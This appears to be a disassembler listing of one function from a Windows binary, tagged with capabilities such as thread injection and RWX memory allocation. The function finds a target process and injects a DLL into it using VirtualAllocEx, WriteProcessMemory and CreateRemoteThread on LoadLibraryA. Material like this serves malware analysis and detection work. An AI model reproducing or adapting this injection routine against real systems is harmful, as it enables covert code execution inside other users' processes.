Function at 0x1077272
Capabilities:
Allocate or change rwx memory
Create thread
Get common file path
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1026378
push 0x106bfae
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ecx
mov eax, 0x234c
call fcn.0106bfb4
mov eax, dword [0x1099a38]
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
mov eax, dword [ebp + 8]
mov dword [ebp - 0x344], eax
mov esi, 0x400
xor ebx, ebx
mov dword [ebp - 0x33c], ebx
mov dword [ebp - 4], ebx
push 0x104
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x10772f9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5e8
push 0x1026344
push 0x1026308
call fcn.01071ac0
add esp, 0x10
jmp 0x107766f
push ebx
push ebx
push ebx
push 0x14
call fcn.010713ac
test eax, eax
jne 0x1077315
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5ed
jmp 0x10772e2
push 0x1000
call sub.msvcrt.dll_malloc
pop ecx
mov dword [ebp - 0x334], eax
cmp eax, ebx
jne 0x1077340
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5f4
jmp 0x10772e2
lea eax, [ebp - 0x340]
push eax
push esi
push dword [ebp - 0x334]
call fcn.01072e93
test eax, eax
jne 0x107739a
push dword [ebp - 0x334]
call fcn.0106bf39
add esi, esi
mov dword [ebp - 0x360], esi
mov eax, esi
shl eax, 2
push eax
call sub.msvcrt.dll_malloc
pop ecx
pop ecx
mov dword [ebp - 0x334], eax
cmp eax, ebx
jne 0x1077340
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x604
jmp 0x10772e2
mov esi, dword [ebp - 0x340]
shr esi, 2
mov dword [ebp - 0x364], esi
mov dword [ebp - 0x330], ebx
cmp dword [ebp - 0x330], esi
jae 0x107751a
cmp dword [ebp - 0x33c], 1
je 0x1077527
mov eax, dword [ebp - 0x334]
mov ecx, dword [ebp - 0x330]
push dword [eax + ecx*4]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x32c], eax
cmp eax, ebx
je 0x1077507
mov byte [ebp - 0x120], bl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x11f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x340]
push eax
push 0x2000
lea eax, [ebp - 0x2364]
push eax
push dword [ebp - 0x32c]
call fcn.01072e7c
test eax, eax
je 0x1077507
push 0x104
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x2364]
push dword [ebp - 0x32c]
call fcn.01072e62
test eax, eax
je 0x1077507
push 0x10262fc
lea eax, [ebp - 0x120]
push eax
call sub.msvcrt.dll__mbslwr
pop ecx
push eax
call sub.msvcrt.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x1077507
push ebx
push 4
lea eax, [ebp - 0x354]
push eax
push 0x18
push dword [ebp - 0x32c]
call dword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jne 0x1077507
cmp dword [ebp - 0x354], ebx
jne 0x1077507
mov dword [ebp - 0x338], ebx
mov ecx, dword [ebp - 0x340]
shr ecx, 2
mov eax, dword [ebp - 0x338]
cmp eax, ecx
jae 0x1077507
lea edi, [ebp + eax*4 - 0x2364]
push 0x104
lea eax, [ebp - 0x224]
push eax
push dword [edi]
push dword [ebp - 0x32c]
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x1077512
push 0x1019228
lea eax, [ebp - 0x224]
push eax
call sub.msvcrt.dll__mbslwr
pop ecx
push eax
call sub.msvcrt.dll_strstr
pop ecx
pop ecx
test eax, eax
je 0x1077512
mov eax, dword [ebp - 0x344]
cmp dword [edi], eax
jne 0x1077512
mov dword [ebp - 0x33c], 1
inc dword [ebp - 0x330]
jmp 0x10773af
inc dword [ebp - 0x338]
jmp 0x107749e
cmp dword [ebp - 0x33c], 1
jne 0x1077664
push 2
push dword [ebp - 0x344]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x35c], eax
lea ecx, [ebp - 0x34c]
push ecx
push ebx
push ebx
push eax
push ebx
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x1077650
push 0x3a980
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x350], eax
cmp eax, ebx
jne 0x1077642
cmp dword [ebp + 0xc], ebx
jne 0x1077630
push 0xfffa
mov esi, 0x1106960
push esi
push 0x101b994
lea eax, [ebp - 0x328]
push eax
call fcn.01070fc9
mov eax, esi
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10775a5
sub eax, edi
push 0x40
push 0x1000
inc eax
push eax
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov dword [ebp - 0x358], edi
cmp edi, ebx
je 0x1077642
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10775d5
sub eax, ecx
push ebx
inc eax
push eax
push esi
push edi
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1077642
lea eax, [ebp - 0x34c]
push eax
push ebx
push edi
push dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
push ebx
push dword [ebp - 0x32c]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x348], eax
cmp eax, ebx
je 0x1077642
push 0x4e20
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x350], eax
cmp eax, ebx
jne 0x1077642
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call sub.msvcrt.dll__local_unwind2
pop ecx
pop ecx
xor eax, eax
inc eax
jmp 0x107767a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x10262c4
jmp 0x107765c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x1026290
call fcn.01071ac0
pop ecx
jmp 0x107766e
push 0x1026274
call fcn.01071ac0
pop ecx
or dword [ebp - 4], 0xffffffff
call fcn.01077692
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x1c]
call fcn.0106bc50
pop edi
pop esi
pop ebx
leave
ret 8